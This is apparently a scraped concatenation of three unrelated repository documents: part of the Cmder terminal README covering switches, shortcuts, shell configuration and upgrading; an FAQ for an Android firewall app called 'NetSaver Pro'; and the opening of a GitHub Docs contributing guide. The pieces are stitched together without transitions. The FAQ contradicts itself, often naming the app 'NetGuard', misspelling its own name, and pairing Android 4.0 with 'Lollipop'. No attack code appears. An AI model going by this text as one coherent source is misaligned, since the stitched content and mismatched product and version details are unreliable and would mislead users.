`/SINGLE` | Start Cmder in single mode. | | `/START [start_path]` | Folder path to start in. | | `/TASK [task_name]` | Task to start after launch. | | `/X [ConEmu extras pars]` | Forwards parameters to ConEmu | ## Context Menu Integration So you've experimented with Cmder a little and want to give it a shot in a more permanent home; ### Shortcut to open Cmder in a chosen folder 1. Open a terminal as an Administrator 2. Navigate to the directory you have placed Cmder 3. Execute `.\cmder.exe /REGISTER ALL` _If you get a message "Access Denied" ensure you are executing the command in an **Administrator** prompt._ In a file explorer window right click in or on a directory to see "Cmder Here" in the context menu. ## Keyboard shortcuts ### Tab manipulation * <kbd>Ctrl</kbd> + <kbd>T</kbd> : New tab dialog (maybe you want to open cmd as admin?) * <kbd>Ctrl</kbd> + <kbd>W</kbd> : Close tab * <kbd>Ctrl</kbd> + <kbd>D</kbd> : Close tab (if pressed on empty command) * <kbd>Shift</kbd> + <kbd>Alt</kbd> + <kbd>#Number</kbd> : Fast new tab: <kbd>1</kbd> - CMD, <kbd>2</kbd> - PowerShell * <kbd>Ctrl</kbd> + <kbd>Tab</kbd> : Switch to next tab * <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Tab</kbd> : Switch to previous tab * <kbd>Ctrl</kbd> + <kbd>#Number</kbd> : Switch to tab #Number * <kbd>Alt</kbd> + <kbd>Enter</kbd>: Fullscreen ### Shell * <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>U</kbd> : Traverse up in directory structure (lovely feature!) * <kbd>End</kbd>, <kbd>Home</kbd>, <kbd>Ctrl</kbd> : Traversing text with as usual on Windows * <kbd>Ctrl</kbd> + <kbd>R</kbd> : History search * <kbd>Shift</kbd> + Mouse : Select and copy text from buffer _(Some shortcuts are not yet documented, though they exist - please document them here)_ ## Features ### Access to multiple shells in one window using tabs You can open multiple tabs each containing one of the following shells: | Task | Shell | Description | | ---- | ----- | ----------- | | Cmder | `cmd.exe` | Windows `cmd.exe` shell enhanced with Git, Git aware prompt, Clink (GNU Readline), and Aliases. | | Cmder as Admin | `cmd.exe` | Administrative Windows `cmd.exe` Cmder shell. | | PowerShell | `powershell.exe` | Windows PowerShell enhanced with Git and Git aware prompt . | | PowerShell as Admin | `powershell.exe` | Administrative Windows `powershell.exe` Cmder shell. | | Bash | `bash.exe` | Unix/Linux like bash shell running on Windows. | | Bash as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. | | Mintty | `bash.exe` | Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | | Mintty as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | Cmder, PowerShell, and Bash tabs all run on top of the Windows Console API and work as you might expect in Cmder with access to use ConEmu's color schemes, key bindings and other settings defined in the ConEmu Settings dialog. ⚠ *NOTE:* Only the full edition of Cmder comes with a pre-installed bash, using a vendored [git-for-windows](https://gitforwindows.org/) installation. The pre-configured Bash tabs may not work on Cmder mini edition without additional configuration. You may however, choose to use an external installation of bash, such as Microsoft's [Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/install-win10) (called WSL) or the [Cygwin](https://cygwin.com/) project which provides POSIX support on windows. ⚠ *NOTE:* Mintty tabs use a program called 'mintty' as the terminal emulator that is not based on the Windows Console API, rather it's rendered graphically by ConEmu. Mintty differs from the other tabs in that it supports xterm/xterm-256color TERM types, and does not work with ConEmu settings like color schemes and key bindings. As such, some differences in functionality are to be expected, such as Cmder not being able to apply a system-wide configuration to it. As a result mintty specific config is done via the `[%USERPROFILE%|$HOME]/.minttyrc` file. You may read more about Mintty and its config file [here](https://github.com/mintty/mintty). An example of setting Cmder portable terminal colors for mintty: From a bash/mintty shell: ``` cd $CMDER_ROOT/vendor git clone https://github.com/karlin/mintty-colors-solarized.git cd mintty-colors-solarized/ echo source \$CMDER_ROOT/vendor/mintty-colors-solarized/mintty-solarized-dark.sh>>$CMDER_ROOT/config/user_profile.sh ``` You may find some Monokai color schemes for mintty to match Cmder [here](https://github.com/oumu/mintty-color-schemes/blob/master/base16-monokai-mod.minttyrc). ### Changing Cmder Default `cmd.exe` Prompt Config File The default Cmder shell `cmd::Cmder` prompt is customized using `Clink` and is configured by editing a config file that exists in one of two locations: - Single User Portable Config `%CMDER_ROOT%\config\cmder_prompt_config.lua` - Shared Cmder install with Non-Portable Individual User Config `%CMDER_USER_CONFIG%\cmder_prompt_config.lua` If your Cmder setup does not have this file create it from `%CMDER_ROOT%\vendor\cmder_prompt_config.lua.default` Customizations include: - Colors. - Single/Multi-line. - Full path/Folder only. - `[user]@[host]` to the beginning of the prompt. - `~` for home directory. - `λ` symbol Documentation is in the file for each setting. ### Changing Cmder Default `cmd.exe` Shell Startup Behaviour Using Task Arguments 1. Press <kbd>Win</kbd> + <kbd>Alt</kbd> + <kbd>T</kbd> 1. Click either: * `1. {cmd::Cmder as Admin}` * `2. {cmd::Cmder}` 1. Add command line arguments where specified below: *Note: Pay attention to the quotes!* ``` cmd /s /k ""%ConEmuDir%\..\init.bat" [ADD ARGS HERE]" ``` ##### Command Line Arguments for `init.bat` | Argument | Description | Default | | ----------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------- | | `/c [user cmder root]` | Enables user bin and config folders for 'Cmder as admin' sessions due to non-shared environment. | not set | | `/d` | Enables debug output. | not set | | `/f` | Enables Cmder Fast Init Mode. This disables some features, see pull request [#1492](https://github.com/cmderdev/cmder/pull/1942) for more details. | not set | | `/t` | Enables Cmder Timed Init Mode. This displays the time taken run init scripts | not set | | `/git_install_root [file path]` | User specified Git installation root path. | `%CMDER_ROOT%\vendor\Git-for-Windows` | | `/home [home folder]` | User specified folder path to set `%HOME%` environment variable. | `%userprofile%` | | `/max_depth [1-5]` | Define max recurse depth when adding to the path for `%cmder_root%\bin` and `%cmder_user_bin%` | 1 | | `/nix_tools [0-2]` | Define how `*nix` tools are added to the path. Prefer Windows Tools: 1, Prefer *nix Tools: 2, No `/usr/bin` in `%PATH%`: 0 | 1 | | `/svn_ssh [path to ssh.exe]` | Define `%SVN_SSH%` so we can use git svn with ssh svn repositories. | `%GIT_INSTALL_ROOT%\bin\ssh.exe` | | `/user_aliases [file path]` | File path pointing to user aliases. | `%CMDER_ROOT%\config\user_aliases.cmd` | | `/v` | Enables verbose output. | not set | | (custom arguments) | User defined arguments processed by `cexec`. Type `cexec /?` for more usage. | not set | ### Cmder Shell User Config Single user portable configuration is possible using the cmder specific shell config files. Edit the below files to add your own configuration: | Shell | Cmder Portable User Config | | ------------- | ----------------------------------------- | | Cmder | `%CMDER_ROOT%\config\user_profile.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\user_profile.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/user_profile.sh` | Note: Bash and Mintty sessions will also source the `$HOME/.bashrc` file if it exists after it sources `$CMDER_ROOT/config/user_profile.sh`. You can write `*.cmd|*.bat`, `*.ps1`, and `*.sh` scripts and just drop them in the `%CMDER_ROOT%\config\profile.d` folder to add startup config to Cmder. | Shell | Cmder `Profile.d` Scripts | | ------------- | -------------------------------------------------- | | Cmder | `%CMDER_ROOT%\config\profile.d\*.bat and *.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\profile.d\*.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/profile.d/*.sh` | #### Git Status Opt-Out To disable Cmder prompt git status globally add the following to `~/.gitconfig` or locally for a single repo `[repo]/.git/config` and start a new session. *Note: This configuration is not portable* ``` [cmder] status = false # Opt out of Git status for 'ALL' Cmder supported shells. cmdstatus = false # Opt out of Git status for 'Cmd.exe' shells. psstatus = false # Opt out of Git status for 'Powershell.exe and 'Pwsh.exe' shells. shstatus = false # Opt out of Git status for 'bash.exe' shells. ``` ### Aliases #### Cmder(`Cmd.exe`) Aliases You can define simple aliases for `cmd.exe` sessions with a command like `alias name=command`. Cmd.exe aliases support optional parameters through the `$1-9` or the `$*` special characters so the alias `vi=vim.exe $*` typed as `vi [filename]` will open `[filename]` in `vim.exe`. Cmd.exe aliases can also be more complex. See: [DOSKEY.EXE documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/doskey) for additional details on complex aliases/macros for `cmd.exe` Aliases defined using the `alias.bat` command will automatically be saved in the `%CMDER_ROOT%\config\user_aliases.cmd` file To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/init.bat`. Anything stored in `%CMDER_ROOT%` will be a portable setting and will follow cmder to another machine. * `%CMDER_ROOT%\config\profile.d\*.cmd` and `\*.bat` * `%CMDER_ROOT%\config\user_aliases.cmd` * `%CMDER_ROOT%\config\user_profile.cmd` #### Bash.exe|Mintty.exe Aliases Bash shells support simple and complex aliases with optional parameters natively so they work a little different. Typing `alias name=command` will create an alias only for the current running session. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/git-for-windows/etc/profile.d/cmder.sh`. Anything stored in `$CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$CMDER_ROOT/config/profile.d/*.sh` * `$CMDER_ROOT/config/user_profile.sh` * `$HOME/.bashrc` If you add bash aliases to `$CMDER_ROOT/config/user_profile.sh` they will be portable and follow your Cmder folder if you copy it to another machine. `$HOME/.bashrc` defined aliases are not portable. #### PowerShell.exe Aliases PowerShell has native simple alias support, for example `[new-alias | set-alias] alias command`, so complex aliases with optional parameters are not supported in PowerShell sessions. Type `get-help [new-alias|set-alias] -full` for help on PowerShell aliases. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$ENV:CMDER_ROOT\vendor\user_profile.ps1`. Anything stored in `$ENV:CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$ENV:CMDER_ROOT\config\profile.d\*.ps1` * `$ENV:CMDER_ROOT\config\user_profile.ps1` ### SSH Agent To start the vendored SSH agent simply call `start-ssh-agent`, which is in the `vendor/git-for-windows/cmd` folder. If you want to run SSH agent on startup, include the line `@call "%GIT_INSTALL_ROOT%/cmd/start-ssh-agent.cmd"` in `%CMDER_ROOT%/config/user_profile.cmd` (usually just uncomment it). ### Vendored Git Cmder is by default shipped with a vendored Git installation. On each instance of launching Cmder, an attempt is made to locate any other user provided Git binaries. Upon finding a `git.exe` binary, Cmder further compares its version against the vendored one _by executing_ it. The vendored `git.exe` binary is _only_ used when it is more recent than the user-installed one. You may use your favorite version of Git by including its path in the `%PATH%` environment variable. Moreover, the **Mini** edition of Cmder (found on the [downloads page](https://github.com/cmderdev/cmder/releases)) excludes any vendored Git binaries. ### Using external Cygwin/Babun, MSys2, WSL, or Git for Windows SDK with Cmder. You may run bash (the default shell used on Linux, macOS and GNU/Hurd) externally on Cmder, using the following instructions: 1. Setup a new task by pressing <kbd>Win</kbd> +<kbd>Alt</kbd> + <kbd>T</kbd>. 1. Click the `+` button to add a task. 1. Name the new task in the top text box. 1. Provide task parameters, this is optional. 1. Add `cmd /c "[path_to_external_env]\bin\bash --login -i" -new_console` to the `Commands` text box. **Recommended Optional Steps:** Copy the `vendor/cmder_exinit` file to the Cygwin/Babun, MSys2, or Git for Windows SDK environments `/etc/profile.d/` folder to use portable settings in the `$CMDER_ROOT/config` folder. Note: MinGW could work if the init scripts include `profile.d` but this has not been tested. The destination file extension depends on the shell you use in that environment. For example: * bash - Copy to `/etc/profile.d/cmder_exinit.sh` * zsh - Copy to `/etc/profile.d/cmder_exinit.zsh` Uncomment and edit the below line in the script to use Cmder config even when launched from outside Cmder. ``` # CMDER_ROOT=${USERPROFILE}/cmder # This is not required if launched from Cmder. ``` ### Customizing user sessions using `init.bat` custom arguments. You can pass custom arguments to `init.bat` and use `cexec.cmd` in your `user_profile.cmd` to evaluate these arguments then execute commands based on a particular flag being detected or not. `init.bat` creates two shortcuts for using `cexec.cmd` in your profile scripts. #### `%ccall%` - Evaluates flags, runs commands if found, and returns to the calling script and continues. ``` ccall=call C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%ccall% /startnotepad start notepad.exe` #### `%cexec%` - Evaluates flags, runs commands if found, and does not return to the calling script. ``` cexec=C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%cexec% /startnotepad start notepad.exe` It is useful when you have multiple tasks to execute `cmder` and need it to initialize the session differently depending on the task chosen. To conditionally start `notepad.exe` when you start a specific `cmder` task: * Press <kbd>win</kbd>+<kbd>alt</kbd>+<kbd>t</kbd> * Click `+` to add a new task. * Add the below to the `Commands` block: ```batch cmd.exe /k ""%ConEmuDir%\..\init.bat" /startnotepad" ``` * Add the below to your `%cmder_root%\config\user_profile.cmd` ```batch %ccall% "/startNotepad" "start" "notepad.exe"` ``` To see detailed usage of `cexec`, type `cexec /?` in cmder. ### Integrating Cmder with [Hyper](https://github.com/zeit/hyper), [Microsoft VS Code](https://code.visualstudio.com/), and your favorite IDEs Cmder by default comes with a vendored ConEmu installation as the underlying terminal emulator, as stated [here](https://conemu.github.io/en/cmder.html). However, Cmder can in fact run in a variety of other terminal emulators, and even integrated IDEs. Assuming you have the latest version of Cmder, follow the following instructions to get Cmder working with your own terminal emulator. For instructions on how to integrate Cmder with your IDE, please read our [Wiki section](https://github.com/cmderdev/cmder/wiki#cmder-integration). ## Upgrading The process of upgrading Cmder depends on the version/build you are currently running. If you have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running a newer version of Cmder, follow the below process: 1. Exit all Cmder sessions and relaunch `[cmder_root]/cmder.exe`, this backs up your existing `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. * The `[cmder_root]/config/user[-|_]conemu.xml` contains any custom settings you have made using the 'Setup Tasks' settings dialog. 2. Exit all Cmder sessions and backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. If you do not have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running an older version of cmder, follow the below process: 1. Exit all Cmder sessions and backup `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. 2. Backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. ## Current development builds You can download builds of the current development branch by going to AppVeyor via the following link: [](https://ci.appveyor.com/project/MartiUK/cmder/branch/master/artifacts) ## License All software included is bundled with own license The MIT License (MIT) Copyright (c) 2016 Samuel Vasko Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
SE-Design
NetSaver Pro ======== Please scroll down if you want to ask a question, request a feature or report a bug. Frequently Asked Questions (FAQ) -------------------------------- <a name="FAQ0"></a> **(0) How do I use NetSaver Pro?** * Enable the firewall using the switch in the action bar * Allow/deny Wi-Fi/mobile internet access using the icons along the right side of the application list You can use the settings menu to change from blacklist mode (allow all in *Settings* but block unwanted applications in list) to whitelist mode (block all in *Settings* but allow favorite applications in list). * Red/orange/yellow/amber = internet access denied * Teal/blue/purple/grey = internet access allowd <a name="FAQ1"></a> **(1) Can NetSaver Pro completely protect my privacy?** No - nothing can completely protect your privacy. NetSaver Pro will do its best, but it is limited by the fact it must use the VPN service. This is the trade-off required to make a firewall which does not require root access. The firewall can only start when Android "allows" it to start, so it will not offer protection during early boot-up (although your network may not be loaded at that time). It will, however, be much better than nothing, especially if you are not rebooting often. If you want to protect yourself more, you can (at least in theory) disable Wi-Fi and mobile data before rebooting, and only enable them on reboot, after the firewall service has started (and the small key icon is visible in the status bar). Thanks <a name="FAQ2"></a> **(2) Can I use another VPN application while using NetSaver Pro** If the VPN application is using the [VPN service](http://developer.android.com/reference/android/net/VpnService.html), then no, because NetSaver Pro needs to use this service. Android allows only one application at a time to use this service. <a name="FAQ3"></a> **(3) Can I use NetSaver Pro on any Android version?** No, the minimum required Android version is 4.0 (Lollipop) because NetSaver Pro uses the [addDisallowedApplication](http://developer.android.com/reference/android/net/VpnService.Builder.html#addDisallowedApplication(java.lang.String)) method. <a name="FAQ4"></a> **(4) Will NetSaver Pro use extra battery power?** If you didn't enable IP filtering, probably not. However, the network speed graph notification will use extra battery power. This is why the notification is shown only when the screen is on. You can decrease the update frequency using the settings to reduce the battery usage. <a name="FAQ6"></a> **(6) Will NetSaver Pro send my internet traffic to an external (VPN) server?** No, depending on the mode of operation basically one of two things will happen with your internet traffic: * When IP filtering is disabled, blocked internet traffic will be routed into the local VPN which will operate as sinkhole (in effect dropping all blocked traffic) * When IP filtering is enabled, both blocked and allowed internet traffic will be routed into the local VPN and only allowed traffic will be forwarded to the intended destination (so not to a VPN server) The [Android VPN service](http://developer.android.com/reference/android/net/VpnService.html) is being used to locally route all internet traffic to NetGuard so no root is required to build a firewall application. NetSaver Pro is unlike all other no-root firewalls applications. <a name="FAQ7"></a> **(7) Why are applications without internet permission shown?** Internet permission can be granted with each application update without user consent. By showing all applications, NetGuard allows you to control internet access even *before* such an update occurs. <a name="FAQ8"></a> **(8) What do I need to enable for the Google Play™ store app to work?** You need 3 packages (applications) enabled (use search in NetGuard to find them quickly): * com.android.vending (Play store) * com.google.android.gms (Play services) * com.android.providers.downloads (Download manager) Since the Google Play™ store app has a tendency to check for updates or even download them all by itself (even if no account is associated), one can keep it in check by enabling "*Allow when device in use*" for all 3 of these packages. Click on the down arrow on the left side of an application name and check that option, but leave the network icons set to red (hence blocked).The little human icon will appear for those packages. Note that NetSaver Pro does not require any Google service to be installed. <a name="FAQ9"></a> **(9) Why is the VPN service being restarted?** The VPN service will be restarted when you turn the screen on or off and when connectivity changes (Wi-Fi, mobile) to apply the rules with the conditions '*Allow when screen is on*' and '*Block when roaming*'. See [here](http://forum.xda-developers.com/showpost.php?p=65723629&postcount=1788) for more details. <a name="FAQ10"></a> **(10) Will you provide a Tasker plug-in?** If disabling NetSaver Pro is allowed to Tasker, any application can disabled NetSaver Pro too. Allowing to disable a security application from other applications is not a good idea. <a name="FAQ13"></a> **(13) How can I remove the ongoing NetSaver Pro entry in the notification screen?** * Long click the NetSaver Pro notification * Tap the 'i' icon * Depending on your device and/or ROMs manufacturer software customizations, you can be directed to either: * the **App Info** screen and you can uncheck '*Show notifications*' and agree to the next dialog * the **App Notifications** screen and you can toggle the '*Block*' slider to on Note that, whether or not you get a dialog warning to agree upon, this operation will disable any information or warning notifications from NetSaver Pro as well, like the new application installed notification. To read about the need for the notification in the first place, see [question 24](#FAQ24). Some Android versions display an additional notification, which might include a key icon. This notification can unfortunately not be removed. <a name="FAQ14"></a> **(14) Why can't I select OK to approve the VPN connection request?** There might be another (invisible) application on top of the VPN connection request dialog. Some known (screen dimming) applications which can cause this are *Lux Brightness*, *Night Mode* and *Twilight*. To avoid this problem, at least temporary, close all applications and/or services which may be running in the background. <a name="FAQ15"></a> **(15) Why won't you support the F-Droid builds?** Because F-Droid doesn't support reproducible builds. Read [here](https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise) why this is important. Another reason is that F-Droid builds are more often than not outdated, leaving users with an old version with known bugs. <a name="FAQ16"></a> **(16) Why are some applications shown dimmed?** Disabled applications and applications without internet permission are shown dimmed. <a name="FAQ17"></a> **(17) Why is NetSaver Pro so much memory?** It isn't, NetSaver Pro doesn't allocate any memory, except a little for displaying the user interface elements. It appeared that on some Android variants the Google Play™ store app connection, using almost 150 MB and needed for in-app donations, is incorrectly attributed to NetSaver Pro instead to the Google Play™ store app. <a name="FAQ18"></a> **(18) Why can't I findNetSaver Pro in the Google Play™ store app?** NetSaver Pro requires at least Android 4.0, so it is not available in the Google Play™ store app for devices running older Android versions. <a name="FAQ19"></a> **(19) Why does aplication XYZ still have internet access?** If you block internet access for an application, there is no way around it. However, applications could access the internet through other applications. Google Play services is handling push messages for most applications for example. You can prevent this by blocking internet access for the other application as well. Note that some applications keep trying to access the internet, which is done by sending a connection request packet. This packet goes into the VPN sinkhole when internet access for the application is blocked. This packet consists of less than 100 bytes and is counted by Android as outgoing traffic and will be visible in the speed graph notification as well. <a name="FAQ20"></a> **(20) Can I Greenify/hibernate NetGuard?** No. [Greenifying](https://play.google.com/store/apps/details?id=com.oasisfeng.greenify) or otherwise hibernating NetGuard will result in rules not being applied when connectivity changes from Wi-Fi/mobile, screen on/off and roaming/not roaming. <a name="FAQ21"></a> **(21) Does doze mode affect NNetSaver Pro?** I am not sure, because the [doze mode documentation](http://developer.android.com/training/monitoring-device-state/doze-standby.html) is not clear if the [Android VPN service](http://developer.android.com/reference/android/net/VpnService.html) will be affected. To be sure you can disable battery optimizations for NetSaver Pro manually like this: ``` Android settings > Battery > three dot menu > Battery optimizations > Dropdown > All apps > NetSaver Pro> Don't optimize > Done ``` This cannot be done from the application, because according to Google NetSaver Pro is [not an application type allowed to do this](http://developer.android.com/training/monitoring-device-state/doze-standby.html#whitelisting-cases). <a name="FAQ22"></a> **(22) Can I tether / use Wi-Fi calling while using NetGuard?** Yes, but this needs to be enabled in the settings. If it works depends on your Android version, because some Android versions have a bug preventing tethering and the VPN service to work together. Some devices hibernate Wi-Fi preventing tethering to work when the screen is off. This behavior can be disabled in the Android enhanced/advanced Wi-Fi settings. <a name="FAQ24"></a> **(24) Can you remove the notification from the status bar?** Android can kill background services at any time. This can only be prevented by turning a background service into a foreground service. Android requires an ongoing notification for all foreground services to make you aware of potential battery usage (see [question 4](#FAQ4)). So, the notification cannot be removed without causing instability. However, the notification is being marked as low priority, which should result in moving it to the bottom of the list. The key icon and/or the VPN running notification, which is shown by Android and not by NetGuard, can unfortunately not be removed. The [Google documentation](http://developer.android.com/reference/android/net/VpnService.html) says: "*A system-managed notification is shown during the lifetime of a VPN connection*". <a name="FAQ25"></a> **(25) Can you add a 'select all'?** There is no need for a select all function, because you can switch from black list to white list mode using the settings. See also [question 0](#FAQ0). <a name="FAQ27"></a> **(27) How do I read the blocked traffic log?** The columns have the following meaning: 1. Time (tap on a log entry to see the date) 1. Application icon (tap on a log entry to see the application name) 1. Application UID 1. Wi-Fi / mobile connection, green=allowed, red=blocked 1. Interactive state (screen on or off) 1. Protocol (see below) and packet flags (see below) 1. Source and destination port (tap on a log entry to lookup a destination port) 1. Source and destination IPv4 or IPv6 address (tap on a log entry to lookup a destination IP address) 1. Organization name owning the IP address (need to be enabled through the menu) Protocols: * ICMP * IGMP * ESP (IPSec) * TCP * UDP * Number = one of the protocols in [this list](https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers) * 4 = IPv4 * 6 = IPv6 Packet flags: * S = SYN * A = ACK * P = PSH * F = FIN * R = RST For a detailed explanation see [here](https://en.wikipedia.org/wiki/Transmission_Control_Protocol). <a name="FAQ28"></a> **(28) Why is Google connectivity services allowed internet access by default?** The Google connectivity services system application checks if the current network is really connected to the internet. This is probably done by briefly connecting to some Google server. If this is not the case, there will be an '!' in the Wi-Fi or mobile icon in the system status bar. Recent Android versions seem not to switch connectivity from mobile to Wi-Fi when the Wi-Fi network is not really connected, even though there is a connection to the Wi-Fi network (or the other way around). On Android 6.0 and later you might get a notification asking you if you want to keep this connection on or not. To prevent a bad user experience there is a predefined rule to default allow the Google connectivity services. <a name="FAQ29"></a> **(29) Why do I get 'The item you requested is not available for purchase'?** You can only purchase pro feature when you installed NetSaver Pro from the Play store. <a name="FAQ30"></a> **(30) Can I also run AFWall+ on the same device?** Unless you are just testing NetSaver Pro, there is no current reason to use them both, since they cover the same function (firewall), although with different base needs (AFWall+ needs a rooted device) and ways of doing their thing (AFWall+ uses iptables). Also you need to keep per applicaton access rules _always_ in sync, else the application will not be able to access the network, hence bringing another level of complexity when setting and assuring things work out. Some pointers on how to set up AFWall+: * if not using filtering in NetSaver Pro, applications _need_ direct internet access (Wi-Fi and/or mobile) in AFWall+ * if using filtering, NetSaver Pro will _need_ internet access (Wi-Fi and/or mobile) in AFWall+ * if using filtering, when you un/reinstall NetSaver Pro, remember to RE-allow NetSaver Pro in AFWall+ * if using filtering, applications _need_ VPN internet access (check the box to show that option in AFWall+ settings) <a name="FAQ31"></a> **(31) Why can some applications be configured as a group only?** For a lot of purposes, including network access, Android groups applications on UID and not on package/application name. Especially system applications often have the same UID, despite having a different package and application name, these are set up like this by the ROM manufacturer at build time. These applications can only be allowed/blocked access to the internet as a group. <a name="FAQ32"></a> **(32) Why is the battery/network usage of NetSaver Pro so high?** This is because Android contributes battery and network usage which is normally contributed to other applications to NetSaver Prod in IP filtering mode. The total battery usage is slightly higher when IP filtering mode is enabled. IP filtering mode is always enabled on Android version before 5.0 and optionally enabled on later Android versions. <a name="FAQ33"></a> **(33) Can you add profiles?** Profiles are inconvenient because they need to be operated manually. Conditions like '*When screen is on*' are on the other hand convenient because they work automatic. Therefore profiles will not be added, but you are welcome to propose new conditions, however they need to be generally usable to be included. As a workaround you can use the export/import function to apply specific settings in specific circumstances. <a name="FAQ34"></a> **(34) Can you add the condition 'when on foreground'?** Recent Android versions do not allow an application to query if other applications are in the foreground or background anymore, so this cannot be added. You can use the condition '*when screen is on*' instead. <a name="FAQ35"></a> **(35) Why does the VPN not start?** NetSaver Pro "asks" Android to start the local VPN service, but some Android versions contain a bug which prevents the VPN from starting (automatically). Sometimes this is caused by updating NetSaver Pro. Unfortunately this cannot be fixed from NetSaver Pro. What you can try is to restart your device and/or revoke the VPN permissions from NetSaver Pro using the Android settings. Sometimes it helps to uninstall and install NetSaver Pro again (be sure to export your settings first). <a name="FAQ36"></a> **(36) Can you add PIN or password protection?** Since turning off the VPN service using the Android settings cannot be prevented, there is little use in adding PIN or password protection. <a name="FAQ37"></a> **(37) Why are the pro features so expensive?** The right question is "*why are there so many taxes and fees*": * VAT: 25% (depending on your country) * Google fee: 30% * Income tax: 50% So, what is left for the developer is just a fraction of what you pay. Despite NetSaver Pro being *really* a lot of work, only some of the convenience and advanced features are paid, which means that NetSaver Pro is basically free to use. Also note that most free applications will appear not to be sustainable in the end, whereas NetSaver Pro is properly maintained and supported. <br />
EMETEM-GLOBAL-ENTERPRISE
# Contributing to this repository <!-- omit in toc --> ## Getting started <!-- omit in toc --> Before you begin: - This site is powered by Node.js. Check to see if you're on the [version of node we support](contributing/development.md). - Have you read the [code of conduct](CODE_OF_CONDUCT.md)? - Check out the [existing issues](https://github.com/github/docs/issues) & see if we [accept contributions](#types-of-contributions-memo) for your type of issue. ### Use the 'make a contribution' button  Navigating a new codebase can be challenging, so we're making that a little easier. As you're using docs.github.com, you may come across an article that you want to make an update to. You can click on the **make a contribution** button right on that article, which will take you to the file in this repo where you'll make your changes. Before you make your changes, check to see if an [issue exists](https://github.com/github/docs/issues/) already for the change you want to make. ### Don't see your issue? Open one If you spot something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### Ready to make a change? Fork the repo Fork using GitHub Desktop: - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! Fork using the command line: - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. Fork with [GitHub Codespaces](https://github.com/features/codespaces): - [Fork, edit, and preview](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces/creating-a-codespace) using [GitHub Codespaces](https://github.com/features/codespaces) without having to install and run the project locally. ### Make your update: Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository). - Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md). - Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md). ### Open a pull request When you're done making changes and you'd like to propose them for review, use the [pull request template](#pull-request-template) to open your PR (pull request). ### Submit your PR & get it reviewed - Once you submit your PR, others from the Docs community will review it with you. The first thing you're going to want to do is a [self review](#self-review). - After that, we may have questions, check back on your PR to keep up with the conversation. - Did you have an issue, like a merge conflict? Check out our [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) on how to resolve merge conflicts and other issues. ### Your PR is merged! Congratulations! The whole GitHub community thanks you. :sparkles: Once your PR is merged, you will be proudly listed as a contributor in the [contributor chart](https://github.com/github/docs/graphs/contributors). ### Keep contributing as you use GitHub Docs Now that you're a part of the GitHub Docs community, you can keep participating in many ways. **Learn more about contributing:** - [Types of contributions :memo:](#types-of-contributions-memo) - [:mega: Discussions](#mega-discussions) - [:beetle: Issues](#beetle-issues) - 